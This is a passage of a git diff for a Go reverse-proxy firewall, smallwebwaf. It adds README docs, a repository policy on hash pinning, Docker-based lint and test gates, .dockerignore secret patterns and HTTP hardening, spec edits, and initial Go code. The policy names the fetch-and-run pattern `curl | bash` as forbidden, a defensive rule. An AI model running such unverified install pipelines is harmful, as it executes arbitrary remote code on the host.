formats the Go code with `gofmt` and the Markdown with prettier. +- `script/fmt-check`: checks the formatting, and changes nothing. +- `script/check`: runs `script/test`, `script/lint` and `script/fmt-check`. +- `script/docker`: builds the image, whose build runs the tests and the linter + first. +- `script/cibuild`: what CI runs: `script/bootstrap`, `script/check`, then the + image build. +- `script/precommit`: run by the git pre-commit hook; runs `script/check`. +- `script/install-precommit`: installs that hook; `make hooks` runs it. +- `script/build`: builds `bin/smallwebwaf` on the host, with Go installed, for + working on the code by hand; `make build` runs it. +- `script/run`: builds `bin/smallwebwaf` with `script/build` and runs it; + `make run` runs it. + +## TODO + +- Milestone 2: rate limits per client, the country lists and the image an app + builds on (https://git.eeqj.de/sneak/smallwebwaf/issues/14). +- The licence (https://git.eeqj.de/sneak/smallwebwaf/issues/15). +- The rest of the design, in the order of the build order in + [`SPEC.md`](SPEC.md). + ## Documents - [`SPEC.md`](SPEC.md): the design. - [`EVALUATION.md`](EVALUATION.md): what already exists, what each tool covers and misses, and why none was adopted. +- [`REPO_POLICIES.md`](REPO_POLICIES.md): the policies this repository follows. + +## Author + +[@sneak](https://sneak.berlin) diff --git a/REPO_POLICIES.md b/REPO_POLICIES.md new file mode 100644 index 0000000..2256291 --- /dev/null +++ b/REPO_POLICIES.md @@ -0,0 +1,603 @@ +--- +title: Repository Policies +last_modified: 2026-09-08 +--- + +This document covers repository structure, tooling, and workflow standards. Code +style conventions are in separate documents: + +- [Code Styleguide](https://git.eeqj.de/sneak/prompts/raw/branch/main/prompts/CODE_STYLEGUIDE.md) + (general, bash, Docker) +- [Go](https://git.eeqj.de/sneak/prompts/raw/branch/main/prompts/CODE_STYLEGUIDE_GO.md) +- [JavaScript](https://git.eeqj.de/sneak/prompts/raw/branch/main/prompts/CODE_STYLEGUIDE_JS.md) +- [Python](https://git.eeqj.de/sneak/prompts/raw/branch/main/prompts/CODE_STYLEGUIDE_PYTHON.md) +- [Go HTTP Server Conventions](https://git.eeqj.de/sneak/prompts/raw/branch/main/prompts/GO_HTTP_SERVER_CONVENTIONS.md) + +--- + +- Cross-project documentation (such as this file) must include + `last_modified: YYYY-MM-DD` in the YAML front matter so it can be kept in sync + with the authoritative source as policies evolve. + +- **ALL external references must be pinned by cryptographic hash.** This + includes Docker base images, Go modules, npm packages, GitHub Actions, and + anything else fetched from a remote source. Version tags (`@v4`, `@latest`, + `:3.21`, etc.) are server-mutable and therefore remote code execution + vulnerabilities. The ONLY acceptable way to reference an external dependency + is by its content hash (Docker `@sha256:...`, Go module hash in `go.sum`, npm + integrity hash in lockfile, GitHub Actions `@`). No exceptions. + This also means never `curl | bash` to install tools like pyenv, nvm, rustup, + etc. Instead, download a specific release archive from GitHub, verify its hash + (hardcoded in the Dockerfile or script), and only then install. Unverified + install scripts are arbitrary remote code execution. This is the single most + important rule in this document. Double-check every external reference in + every file before committing. There are zero exceptions to this rule. + +- Every repo with software must have a root `Makefile` with these targets: + `make bootstrap`, `make setup`, `make test`, `make lint`, `make fmt` (writes), + `make fmt-check` (read-only), `make check` (runs `test`, `lint`, `fmt-check`), + `make docker`, and `make hooks` (installs pre-commit hook). A model Makefile + is at `https://git.eeqj.de/sneak/prompts/raw/branch/main/Makefile`. + +- Repos follow the + [Scripts to Rule Them All](https://github.com/github/scripts-to-rule-them-all) + pattern: the implementation of each Makefile target lives in an executable + script in `script/` (`script/bootstrap`, `script/setup`, `script/test`, + `script/lint`, `script/fmt`, `script/fmt-check`, `script/check`, + `script/docker`), and the Makefile targets are thin shims that call them. The + scripts must be POSIX sh (`#!/bin/sh`, `set -eu`, no bashisms) so they run in + minimal containers (e.g. alpine images have no bash); locate the repo root + with `$(cd "$(dirname "$0")/.." && pwd -P)` and `cd` there before acting. From + the standard's canonical set we use `bootstrap`, `setup` (make the repo ready + for development after a fresh clone: runs `bootstrap`, then + `install-precommit`, plus any repo-specific initialization), `test`, and + `cibuild`. `script/bootstrap` installs all dependencies idempotently and + assumes nothing is present: base tools come from nix, apt, brew, or apk + (detected in that order; apt runs noninteractive). For node it uses the + installed node if present; otherwise it installs a PINNED node version via + nvm, first installing nvm itself if missing — from a hash-verified GitHub + release archive (never `curl | sh`), with bash installed as an explicit + prerequisite since nvm requires bash. yarn is then pinned via + `corepack prepare yarn@ --activate`. Never install "latest" or "lts"; + always exact versions. `script/cibuild` runs the CI build: it changes to the + repo root, runs `script/bootstrap`, runs `script/check`, and builds the image + with the version; the Gitea workflow calls it. **`script/cibuild` runs + `script/bootstrap` first**, because the workflow checks out the repo and runs + nothing else, while `script/fmt-check` runs the formatter on the host: on a + pristine checkout with nothing installed the run dies there, after the + containerised gates have passed. **The bootstrap alone is not enough**: + `script/bootstrap` installs node and yarn under nvm and leaves neither on the + `PATH` of the shell that called it, so a bare `yarn` still exits 127. The host + entrypoints that need yarn — `script/fmt` and `script/fmt-check` — therefore + source nvm for the pinned node version before invoking it, exactly as + `script/bootstrap`'s own install step does. A runner carrying nothing but + docker and git then gets through `script/check`. Four further scripts are our + own extensions to the standard: `script/check` runs `script/test`, + `script/lint` and `script/fmt-check`; `script/precommit` is what the git + pre-commit hook runs, and it calls `script/check`; `script/install-precommit` + installs the git pre-commit hook (the `make hooks` target shims to it); and + `script/projectname` (literally that filename) simply outputs the project's + name. Scripts that need the name call `script/projectname` — e.g. + `script/docker` assembles its image tag from it — so those scripts stay + byte-identical across all repos. Repo-type-specific pre-commit extras (e.g. + `go mod tidy` verification in Go repos) belong in `script/precommit`, not in + the hook itself. Model scripts are at + `https://git.eeqj.de/sneak/prompts/raw/branch/main/script/`. The README + must document the provided scripts in an **Entrypoints** section (see the + README requirements below). + +- Always use Makefile targets (`make fmt`, `make test`, `make lint`, etc.) + instead of invoking the underlying tools directly. The Makefile is the single + source of truth for how these operations are run. + +- The Makefile is authoritative documentation for how the repo is used. Beyond + the required targets above, it should have targets for every common operation: + running a local development server (`make run`, `make dev`), re-initializing + or migrating the database (`make db-reset`, `make migrate`), building + artifacts (`make build`), generating code, seeding data, or anything else a + developer would do regularly. If someone checks out the repo and types + `make`, they should see every meaningful operation available. A new + contributor should be able to understand the entire development workflow by + reading the Makefile. + +- Every repo should have a `Dockerfile`, and it carries the repo's gates: a + `lint` phase and a `test` phase, with the final stage depending on both so the + image cannot be built unless they pass. For non-server repos the final stage + brings up a development environment; for server repos it is the runtime image. + Dockerfiles install development prerequisites by running `script/bootstrap` + rather than duplicating installs inline; COPY `script/` and the dependency + manifests (`package.json` + `yarn.lock`, `go.mod` + `go.sum`, etc.) before + running it. + +- **Linting and testing run in Docker, as phases of the `Dockerfile`.** There is + no separate lint file. `script/lint` and `script/test` each build one phase + and nothing else: + + ```sh + docker build --no-cache --target lint -t "$(script/projectname)-lint" . + docker build --no-cache --target test -t "$(script/projectname)-test" . + ``` + + **A stage that is not the last one in the file is built only when the final + stage's chain depends on it, or when `--target` names it.** That is why the + two gates are always invoked by name here, and why the final stage carries a + `COPY --from=` of a harmless file from each of them: without that edge a + plain `docker build .` builds the last stage alone and exits 0 having linted + and tested nothing. + + **Every `docker build` in `script/` is tagged**, here and in + `script/cibuild` and `script/docker`. An untagged build leaves a dangling + image behind on every invocation, on every developer host and every CI + runner; a tagged one replaces the previous image. + + Inside a phase the tool is invoked directly — `golangci-lint`, `go test`, + `eslint`, `prettier` — never through `make lint` or `script/test`, which are + themselves a `docker build` and would recurse into a daemon that does not + exist in a build step. Formatting is the exception and stays on the host: + `script/fmt` writes the working tree, and `script/fmt-check` is its + read-only twin. + + **No lint verdict may come from a host invocation of the linter.** On a + shared host golangci-lint reads a result cache keyed on file content rather + than location, so a second checkout of the same content is served the first + one's findings, and a host-global lock in `$TMPDIR` makes concurrent runs + exit non-zero with `parallel golangci-lint is running` — a status a caller + cannot tell from real findings. Both have produced wrong verdicts in this + org, in both directions. A container has its own cache, its own `TMPDIR` and + a digest-pinned binary, so neither is reachable. + +- **Any build that runs checks is built with `--no-cache`.** Docker invalidates + a `COPY` layer only when the copied content changes, so on an unchanged tree + the check `RUN` is served from cache, nothing executes, and the build still + exits 0. Every `docker build` in `script/` therefore passes `--no-cache`: + `script/lint`, `script/test`, `script/cibuild` and `script/docker` are the + four, and there is no fifth — `script/check` runs the two gate phases and + `script/fmt-check`, and builds no image of its own. A bare `docker build .` is + not evidence that anything ran: a sub-second build reporting success is a + cache hit, not a result. Never invalidate by pruning — `docker builder prune` + and friends destroy a build cache shared with every other build on the host. + +- **The gate phases are separate stages, and the build stage depends on both.** + The lint phase is based on the `golangci/golangci-lint` image (pinned by + hash), so lint failures surface in seconds rather than after a full compile, + and the test phase is based on the Go image. The canonical Go repo + `Dockerfile`: + + ```dockerfile + # Lint phase + # golangci/golangci-lint:v2.x.x, YYYY-MM-DD + FROM golangci/golangci-lint@sha256:... AS lint + WORKDIR /src + COPY go.mod go.sum ./ + RUN go mod download + COPY . . + RUN golangci-lint run --config .golangci.yml ./... + + # Test phase + # golang:1.x-alpine, YYYY-MM-DD + FROM golang@sha256:... AS test + WORKDIR /src + COPY go.mod go.sum ./ + RUN go mod download + COPY . . + RUN go test -timeout 90s -race -cover ./... || \ + { echo "--- Rerunning with -v for details ---"; \ + go test -timeout 90s -race -v ./...; exit 1; } + + # Build stage. Nothing is wanted from either phase above; the copies + # are what make BuildKit build them first, so this stage cannot run + # unless lint and test passed. + # golang:1.x-alpine, YYYY-MM-DD + FROM golang@sha256:... AS builder + COPY --from=lint /src/go.sum /dev/null + COPY --from=test /src/go.sum /dev/null + WORKDIR /src + COPY go.mod go.sum ./ + RUN go mod download + COPY . . + + ARG VERSION=dev + RUN CGO_ENABLED=0 go build -trimpath \ + -ldflags="-s -w -X main.Version=${VERSION}" \ + -o /app ./cmd/app/ + + # Runtime stage, and the last one + FROM alpine@sha256:... + COPY --from=builder /app /usr/local/bin/app + ENTRYPOINT ["app"] + ``` + + Key points: + - The lint phase uses the `golangci/golangci-lint` image directly (it has + both Go and the linter), so nothing needs installing. + - `COPY --from= /src/go.sum /dev/null` is a no-op copy whose only + purpose is the ordering edge. BuildKit runs stages in parallel by default, + and a stage nothing depends on is not built at all, so without these two + lines a red gate would not fail the build. + - Keep the runtime stage last, and if you add a stage after it, give it the + same two copies. A plain `docker build .` builds the last stage's chain + and nothing else. + - If the project uses `//go:embed` directives that reference build artifacts + (e.g. a web frontend compiled in a separate stage), the lint phase must + create placeholder files so the embed directives resolve. Example: + `RUN mkdir -p web/dist && touch web/dist/index.html web/dist/style.css`. + - If the project requires CGO or system libraries for linting (e.g. + `vips-dev`), install them in the lint phase with `apk add`. + - `ARG VERSION=dev` is declared in the stage that compiles and supplied by + `script/docker` and `script/cibuild`; no stage may call `git describe`. + +- Every repo should have a Gitea Actions workflow (`.gitea/workflows/`) that + runs `script/cibuild` on push, and checks out the repo as its only other step. + That script bootstraps, runs the gate phases, and then builds the image, so a + successful run means every check passed; a bare `docker build .` does not + carry the same guarantee, because its gate phases may come from the cache. The + image build is uncached and so runs the gate phases a second time. That is the + price of the rule above, and it is worth paying: the image that ships is built + from a run of its own gates rather than from a cache entry. + +- Use platform-standard formatters: `black` for Python, `prettier` for + JS/CSS/Markdown/HTML, `go fmt` for Go. Always use default configuration with + two exceptions: four-space indents (except Go), and `proseWrap: always` for + Markdown (hard-wrap at 80 columns). Documentation and writing repos (Markdown, + HTML, CSS) should also have `.prettierrc` and `.prettierignore`. + +- Pre-commit hook: runs `script/precommit`, which calls `script/check`. If local + testing is not possible in the repo, `script/precommit` may skip `script/test` + and run only `script/lint` and `script/fmt-check`. The hook is installed by + `script/install-precommit`; the Makefile must provide a `make hooks` target + that shims to it. + +- All repos with software must have tests that run via the platform-standard + test framework (`go test`, `pytest`, `jest`/`vitest`, etc.). If no meaningful + tests exist yet, add the most minimal test possible — e.g. importing the + module under test to verify it compiles/parses. There is no excuse for + `make test` to be a no-op. + +- `make test` must complete in under 60 seconds. That is the hard cap, and a + suite that exceeds it fails. Under 20 seconds is the target. A suite between + 20 and 60 seconds is still green, but the overage must be filed as an + improvement bug against that repo. Add a 90-second timeout to the test + invocation (`go test -timeout 90s`). The backstop deliberately sits above the + hard cap so that it catches a genuinely hung test rather than a merely slow + one. + +- **The test command should use the conditional verbose rerun pattern.** Run + tests without `-v` (verbose) first. If tests fail, automatically rerun with + `-v` to show full output. This keeps CI logs and `docker build` output clean + on success (just package/suite summaries) while providing full diagnostic + detail on failure (every test case, every assertion). The command lives in the + `test` phase of the `Dockerfile`, since `script/test` builds that phase; the + Makefile form below is the same pattern for any repo-local invocation: + + ```makefile + test: + @ || \ + { echo "--- Rerunning with -v for details ---"; \ + ; exit 1; } + ``` + + Go example: + + ```makefile + test: + @go test -count=1 -timeout 90s -race -cover ./... || \ + { echo "--- Rerunning with -v for details ---"; \ + go test -count=1 -timeout 90s -race -v ./...; exit 1; } + ``` + + `-count=1` is required on both invocations: it defeats Go's test _result_ + cache, so the target cannot report a pass it did not earn, and the rerun + reproduces a failure instead of replaying it. It leaves the build cache + alone, so it costs the runtime of the suite and no recompilation. + + Note that this is a second, independent cache, stacked below the Docker + layer cache that [issue #26](https://git.eeqj.de/sneak/prompts/issues/26) + addresses. `CHECK_EPOCH` guarantees the `RUN make test` _step_ re-executes; + it does not guarantee `go test` inside that step does any work, because the + `GOCACHE` baked into earlier image layers survives into the re-executed + step. They are two separate defects requiring two separate fixes, and a fix + for one must not be recorded as covering the other. + + Python example: + + ```makefile + test: + @python -m pytest || \ + { echo "--- Rerunning with -v for details ---"; \ + python -m pytest -v; exit 1; } + ``` + + The `exit 1` ensures the target always fails after a rerun — the first run + already proved the tests are broken, so the build must not pass even if a + flaky test happens to succeed on the second attempt. The rerun exists solely + for diagnostic output. + +- Docker builds must complete in under 5 minutes. + +- `make check` must not modify any files in the repo. Tests may use temporary + directories. + +- `main` must always pass `make check`, no exceptions. + +- Never commit secrets. `.env` files, credentials, API keys, and private keys + must be in `.gitignore`. No exceptions. + +- `.gitignore` should be comprehensive from the start: OS files (`.DS_Store`), + editor files (`.swp`, `*~`), in-repo agent scratch directories (`.claude/`), + language build artifacts, and `node_modules/`. Fetch the standard `.gitignore` + from `https://git.eeqj.de/sneak/prompts/raw/branch/main/.gitignore` when + setting up a new repo. These patterns are written to `.gitignore`'s own + semantics, in which an unanchored pattern already matches at every depth; they + are not a `.dockerignore` and must not be transplanted into one unmodified. + +- **`.dockerignore` does not use `.gitignore` semantics, and copying patterns + across unmodified leaves secrets in the build context.** Docker matches with + `moby/patternmatcher`: `filepath.Match` semantics plus a `**` extension, so + `*` does not cross `/` and a pattern without a leading `**/` is anchored at + the build-context root. A `.dockerignore` listing `.env`, `*.pem` and `*.key` + therefore excludes only the copies at the repository root, while `config/.env` + and `certs/server.key` still reach the context and can land in an image layer + — which is more dangerous than a short file with no secret patterns at all, + because it reads as solved and stops anyone looking. Give every + depth-independent pattern the `**/` prefix and leave only genuinely + root-anchored entries unprefixed: `.git`, and the repo's own host-built + binary, written `/myapp` and never `**/myapp`, which would also match + `cmd/myapp/` and delete the package directory from the context. Matching is + case-sensitive, and an ALL-CAPS twin per pattern still misses `Server.Key`, so + secret names use character ranges — `**/*.[kK][eE][yY]`, `**/*.[pP][eE][mM]`, + and likewise for `.envrc` and the extensionless SSH keys. Where such a pattern + also catches something the build needs, re-include it with a negation + (`!docs/example.env`); deleting the pattern reopens the exposure for every + other file it covers. Fetch the standard `.dockerignore` from + `https://git.eeqj.de/sneak/prompts/raw/branch/main/.dockerignore` and extend + it with the repo's own artifacts. + +- **In-repo agent scratch belongs in both files, written to each file's own + semantics.** `.claude/` holds one worktree per in-flight agent — an entire + additional checkout of the repo — so under `COPY . .` the build context + inflates by a multiple of the repo and another session's unreviewed work can + be copied into an image layer. In `.gitignore` the entry is `.claude/`, + unanchored. In `.dockerignore` it is `.claude`, anchored and with **no** `**/` + prefix, because the prefixed form would also delete any nested directory of + that name from the build. Anchoring carries a known gap that the canonical + `.dockerignore` states in its own comment, since consuming repos receive the + file and not the tracker: the directory is created in the agent's working + directory, so a repo running agents in subdirectories still ships + `services/api/.claude/` and must add its own anchored entry there. + +- **Excluding `.git` means `git describe` cannot run inside any build stage, and + it fails quietly there.** In a build stage there is no repository, so + `git describe` writes nothing to stdout, `-X main.Version=` comes out empty, + the binary reports no version at all, and the build still exits 0. Compute the + version on the host and thread it in as a build arg. `script/docker` and + `script/cibuild` do this, byte-identically across repos: + + ```sh + # Own line: a failing command substitution inside an argument does not + # trip `set -e`, so the inline form degrades to an empty constant. + version="$(git describe --tags --always --dirty 2>/dev/null || true)" + [ -n "$version" ] || version="unknown" + docker build --no-cache \ + --build-arg VERSION="$version" \ + -t "$(script/projectname)" . + ``` + + `--always` makes an untagged repo yield an abbreviated commit hash rather + than failing, and the `[ -n "$version" ]` line is the single place the + fallback is applied — a live check that fires on a build from an export with + no `.git` and on a repository with no commits yet. Do not fold it into the + substitution as `|| echo unknown`, which makes the guard unreachable. The + Dockerfile's side is `ARG VERSION=dev` in the stage that compiles, declared + there because `ARG` is stage-scoped; passing `VERSION` to a repo whose + Dockerfile declares no such `ARG` is ignored and costs nothing, which is why + the scripts stay byte-identical. One consequence for CI: the standard + checkout action clones shallow and fetches no tags, so a repo that embeds a + tag-derived version must set `fetch-depth: 0` on its checkout step. + +- **Verify `.dockerignore` by enumerating the image, not by reading the + patterns.** Plant files at the root _and_ at least two directories deep, build + a probe image that does `COPY . .`, and list what actually landed + (`docker run --rm --entrypoint find IMAGE /app`). The `transferring context` + size is not a substitute: a nested secret is a few bytes, and BuildKit + transfers only the delta from the previous build. + +- **No build artifacts in version control.** Code-derived data (compiled + bundles, minified output, generated assets) must never be committed to the + repository if it can be avoided. The build process (e.g. Dockerfile, Makefile) + should generate these at build time. Notable exception: Go protobuf generated + files (`.pb.go`) ARE committed because repos need to work with `go get`, which + downloads code but does not execute code generation. + +- Never use `git add -A` or `git add .`. Always stage files explicitly by name. + +- Never force-push to `main`. + +- Make all changes on a feature branch. You can do whatever you want on a + feature branch. + +- `.golangci.yml` is standardized. The vendored copy in a consuming repo must + _NEVER_ be modified by an agent: fetch it from + `https://git.eeqj.de/sneak/prompts/raw/branch/main/.golangci.yml` and keep it + byte-identical, so that no repo can quietly loosen its own linting. Linter + configuration changes are made to the canonical copy in the `prompts` repo and + reach consuming repos by re-vendoring; an agent may open a PR against + canonical, which only the user merges. One list is exempt from byte-identity, + because it cannot be written once for every repo: the `deny` list of the + `test-support` depguard rule, where a repo names its own test-support packages + by full import path. A repo adds entries there and changes nothing else, and a + re-vendor carries its entries forward. The canonical golangci-lint version is + v2.12.2 (released 2026-05-06), pinned as the digest of the lint phase's base + image + (`golangci/golangci-lint@sha256:5cceeef04e53efe1470638d4b4b4f5ceefd574955ab3941b2d9a68a8c9ad5240`, + which reports `2.12.2 built with go1.26.2 from c0d3ddc9`). That digest is the + only pin, since no repo installs golangci-lint on the host: bumping the + version means changing it and nothing else. + +- **`script/bootstrap` installs a pinned tool by comparing versions, never by + testing presence.** An `if ! command -v ; then install; fi` guard tests + `PATH` only, so on an already-provisioned machine the pin is inert and a + version bump is a silent no-op — while the Dockerfile, installing into a clean + image, gets the pinned version, so a local `make check` and `make docker` can + disagree about what the tool even is. The canonical form: + - compares the installed version against the pin over the **whole** version + token; a parser that stops at the first `-` reports `2.12.2` for a host + running `2.12.2-rc1` and skips the install; + - treats absent, non-zero, empty or unrecognised `--version` output as a + mismatch, so the failure direction is a redundant install and never a + skipped one; + - after installing, re-resolves the binary the way callers do — `hash -r`, + then through `PATH`, not through the directory the installer wrote to — + and fails naming the resolved path, since an install that a shadowing + binary hides succeeds while changing nothing any caller sees; + - is actually called, and prints the version on both success paths: a + function defined and never invoked has the same exit status and the same + empty output as one that worked. + + Keep it POSIX sh: no arrays, no `[[`, no `grep -P`. + +- When pinning images or packages by hash, add a comment above the reference + with the version and date (YYYY-MM-DD). + +- Use `yarn`, not `npm`. + +- Write all dates as YYYY-MM-DD (ISO 8601). + +- Simple projects should be configured with environment variables. + +- Dockerized web services listen on port 8080 by default, overridable with + `PORT`. + +- **HTTP/web services must be hardened for production internet exposure before + tagging 1.0.** This means full compliance with security best practices + including, without limitation, all of the following: + - **Security headers** on every response: + - `Strict-Transport-Security` (HSTS) with `max-age` of at least one year + and `includeSubDomains`. + - `Content-Security-Policy` (CSP) with a restrictive default policy + (`default-src 'self'` as a baseline, tightened per-resource as + needed). Never use `unsafe-inline` or `unsafe-eval` unless + unavoidable, and document the reason. + - `X-Frame-Options: DENY` (or `SAMEORIGIN` if framing is required). + Prefer the `frame-ancestors` CSP directive as the primary control. + - `X-Content-Type-Options: nosniff`. + - `Referrer-Policy: strict-origin-when-cross-origin` (or stricter). + - `Permissions-Policy` restricting access to browser features the + application does not use (camera, microphone, geolocation, etc.). + - **Request and response limits:** + - Maximum request body size enforced on all endpoints (e.g. Go + `http.MaxBytesReader`). Choose a sane default per-route; never accept + unbounded input. + - Maximum response body size where applicable (e.g. paginated APIs). + - `ReadTimeout` and `ReadHeaderTimeout` on the `http.Server` to defend + against slowloris attacks. + - `WriteTimeout` on the `http.Server`. + - `IdleTimeout` on the `http.Server`. + - Per-handler execution time limits via `context.WithTimeout` or + chi/stdlib `middleware.Timeout`. + - **Authentication and session security:** + - Rate limiting on password-based authentication endpoints. API keys are + high-entropy and not susceptible to brute force, so they are exempt. + - CSRF tokens on all state-mutating HTML forms. API endpoints + authenticated via `Authorization` header (Bearer token, API key) are + exempt because the browser does not attach these automatically. + - Passwords stored using bcrypt, scrypt, or argon2 — never plain-text, + MD5, or SHA. + - Session cookies set with `HttpOnly`, `Secure`, and `SameSite=Lax` (or + `Strict`) attributes. + - **Reverse proxy awareness:** + - True client IP detection when behind a reverse proxy + (`X-Forwarded-For`, `X-Real-IP`). The application must accept + forwarded headers only from a configured set of trusted proxy + addresses — never trust `X-Forwarded-For` unconditionally. + - **CORS:** + - Authenticated endpoints must restrict `Access-Control-Allow-Origin` to + an explicit allowlist of known origins. Wildcard (`*`) is acceptable + only for public, unauthenticated read-only APIs. + - **Error handling:** + - Internal errors must never leak stack traces, SQL queries, file paths, + or other implementation details to the client. Return generic error + messages in production; detailed errors only when `DEBUG` is enabled. + - **TLS:** + - Services never terminate TLS directly. They are always deployed behind + a TLS-terminating reverse proxy. The service itself listens on plain + HTTP. However, HSTS headers and `Secure` cookie flags must still be + set by the application so that the browser enforces HTTPS end-to-end. + + This list is non-exhaustive. Apply defense-in-depth: if a standard security + hardening measure exists for HTTP services and is not listed here, it is + still expected. When in doubt, harden. + +- `README.md` is the primary documentation. Required sections: + - **Description**: First line must include the project name, purpose, + category (web server, SPA, CLI tool, etc.), license, and author. Example: + "µPaaS is an MIT-licensed Go web application by @sneak that receives + git-frontend webhooks and deploys applications via Docker in realtime." + - **Getting Started**: Copy-pasteable install/usage code block. + - **Entrypoints**: Opens by stating that the repo adheres to the + [Scripts to Rule Them All](https://github.com/github/scripts-to-rule-them-all) + standard (with that link), then documents each provided `script/` + entrypoint and its purpose. + - **Rationale**: Why does this exist? + - **Design**: How is the program structured? + - **TODO**: Update meticulously, even between commits. When planning, put + the todo list in the README so a new agent can pick up where the last one + left off. + - **License**: MIT, GPL, or WTFPL. Ask the user for new projects. Include a + `LICENSE` file in the repo root and a License section in the README. + - **Author**: [@sneak](https://sneak.berlin). + +- First commit of a new repo should contain only `README.md`. + +- Go module root: `sneak.berlin/go/`. Always run `go mod tidy` before + committing. + +- Use SemVer. + +- Database migrations live in `internal/db/migrations/` and must be embedded in + the binary. + - `000_migration.sql` — contains ONLY the creation of the migrations + tracking table itself. Nothing else. + - `001_schema.sql` — the full application schema. + - **Pre-1.0.0:** never add additional migration files (002, 003, etc.). + There is no installed base to migrate. Edit `001_schema.sql` directly. + - **Post-1.0.0:** add new numbered migration files for each schema change. + Never edit existing migrations after release. + +- All repos should have an `.editorconfig` enforcing the project's indentation + settings. + +- Avoid putting files in the repo root unless necessary. Root should contain + only project-level config files (`README.md`, `Makefile`, `Dockerfile`, + `LICENSE`, `.gitignore`, `.editorconfig`, `REPO_POLICIES.md`, and + language-specific config). Everything else goes in a subdirectory. Canonical + subdirectory names: + - `bin/` — executable scripts and tools + - `cmd/` — Go command entrypoints; thin only: one `main.go` per binary whose + body is a single call into `internal/` or `pkg/`, no project logic in + `cmd/` + - `configs/` — configuration templates and examples + - `deploy/` — deployment manifests (k8s, compose, terraform) + - `docs/` — documentation and markdown (README.md stays in root) + - `internal/` — Go internal packages + - `internal/db/migrations/` — database migrations + - `pkg/` — Go library packages + - `share/` — systemd units, data files + - `static/` — static assets (images, fonts, etc.) + - `web/` — web frontend source + +- When setting up a new repo, files from the `prompts` repo may be used as + templates. Fetch them from + `https://git.eeqj.de/sneak/prompts/raw/branch/main/`. + +- New repos must contain at minimum: + - `README.md`, `.git`, `.gitignore`, `.editorconfig` + - `LICENSE`, `REPO_POLICIES.md` (copy from the `prompts` repo) + - `Makefile` + - `script/` entrypoints (`bootstrap`, `setup`, `projectname`, `test`, + `lint`, `fmt`, `fmt-check`, `check`, `docker`, `cibuild`, `precommit`, + `install-precommit`) + - `Dockerfile`, `.dockerignore` + - `.gitea/workflows/check.yml` + - Go: `go.mod`, `go.sum`, `.golangci.yml` + - JS: `package.json`, `yarn.lock`, `.prettierrc`, `.prettierignore` + - Python: `pyproject.toml` diff --git a/SPEC.md b/SPEC.md index 08a00de..918ed49 100644 --- a/SPEC.md +++ b/SPEC.md @@ -1,8 +1,8 @@ # smallwebwaf SPEC (draft): protective reverse proxy for one app -Status: fourth draft, with the owner's rulings to date applied. Nothing has been -built yet. `EVALUATION.md` beside this file explains why no existing tool was -chosen. +Status: fourth draft, with the owner's rulings to date applied. Milestone 1 of +the build order is built. `EVALUATION.md` beside this file explains why no +existing tool was chosen. ## Purpose @@ -409,7 +409,8 @@ The settings, by group: Bodies stream straight through, so a request body reaches the app while the client is still sending it. - `SWWAF_CLIENT_REQUEST_TIMEOUT` (default `60s`): how long a client may take - to send its whole request, headers and body. + to send its request line and headers, and then, from the end of the + headers, its body. - `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES` (default `32K`): the largest request line and headers a client may send. Over it, `smallwebwaf` answers `431` and closes the connection, and nothing reaches the app. @@ -436,6 +437,12 @@ The settings, by group: an app that is too slow. A request that announces a body larger than its limit is refused before anything reaches the app. Once the response has started it can only be cut off, and the connection is closed. + - Go's HTTP server, on which `smallwebwaf` is built, reads a request's line + and headers before `smallwebwaf` sees the request. A client that takes + longer than `SWWAF_CLIENT_REQUEST_TIMEOUT` to send them gets no answer: + the server closes its connection. Headers over + `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES` are answered `431` by the server + itself. Neither request gets a line in the request log. - A WebSocket connection leaves these limits behind once it is upgraded: it stays open until either side closes it. - Lookup of AS number and country (R7). On by default through GeoJS, which needs @@ -1012,10 +1019,12 @@ and the running `smallwebwaf` takes the edit in. ## Request log -One JSON object per line on stdout for every request, including refused ones. -stdout is always on. When `SWWAF_LOG_REMOTE_URL` is set the same lines are also -sent to the remote endpoint, so a deployment can stop depending on docker's log -handling while `docker logs` keeps working. +One JSON object per line on stdout for every request, including refused ones, +apart from those Go's HTTP server ends before `smallwebwaf` sees them (see +"Configuration surface", size and time limits). stdout is always on. When +`SWWAF_LOG_REMOTE_URL` is set the same lines are also sent to the remote +endpoint, so a deployment can stop depending on docker's log handling while +`docker logs` keeps working. - Standard web log fields: `time` (RFC 3339 with milliseconds), `instance`, `client_ip`, `method`, `scheme`, `host`, `path`, `query`, `protocol`, diff --git a/cmd/smallwebwaf/main.go b/cmd/smallwebwaf/main.go new file mode 100644 index 0000000..108247c --- /dev/null +++ b/cmd/smallwebwaf/main.go @@ -0,0 +1,18 @@ +// Command smallwebwaf is a web application firewall for one app: it runs +// between traefik and the app, and passes requests through within its +// limits. Everything it does is in internal/smallwebwaf. +package main + +import ( + "os" + + "sneak.berlin/go/smallwebwaf/internal/smallwebwaf" +) + +// Version is the version of the binary, set when it is built with +// -ldflags "-X main.Version=...". +var Version = "dev" //nolint:gochecknoglobals // the linker sets it + +func main() { + os.Exit(smallwebwaf.Main(Version)) +} diff --git a/go.mod b/go.mod new file mode 100644 index 0000000..c60a421 --- /dev/null +++ b/go.mod @@ -0,0 +1,3 @@ +module sneak.berlin/go/smallwebwaf + +go 1.26.0 diff --git a/go.sum b/go.sum new file mode 100644 index 0000000..e69de29 diff --git a/internal/config/config.go b/internal/config/config.go new file mode 100644 index 0000000..a0236c2 --- /dev/null +++ b/internal/config/config.go @@ -0,0 +1,352 @@ +// Package config reads smallwebwaf's settings. Every setting is an +// environment variable whose name starts with SWWAF_, every setting has a +// default, and this package is the one place they are read. +package config + +import ( + "errors" + "fmt" + "log/slog" + "math" + "net" + "net/netip" + "net/url" + "strconv" + "strings" + "time" +) + +// Config is smallwebwaf's settings. A timeout or size of zero is off. +type Config struct { + // ListenAddr is where smallwebwaf listens (SWWAF_LISTEN_ADDR). + ListenAddr string + // UpstreamURL is the app (SWWAF_UPSTREAM_URL). + UpstreamURL *url.URL + // TrustedProxies are the netblocks whose X-Forwarded-For is + // believed (SWWAF_TRUSTED_PROXIES). + TrustedProxies []netip.Prefix + // ClientRequestTimeout bounds reading the whole request from the + // client (SWWAF_CLIENT_REQUEST_TIMEOUT). + ClientRequestTimeout time.Duration + // ClientResponseTimeout bounds writing the whole response to the + // client (SWWAF_CLIENT_RESPONSE_TIMEOUT). + ClientResponseTimeout time.Duration + // UpstreamRequestTimeout bounds connecting to the app and writing + // the whole request to it (SWWAF_UPSTREAM_REQUEST_TIMEOUT). + UpstreamRequestTimeout time.Duration + // UpstreamResponseTimeout bounds reading the whole response from + // the app (SWWAF_UPSTREAM_RESPONSE_TIMEOUT). + 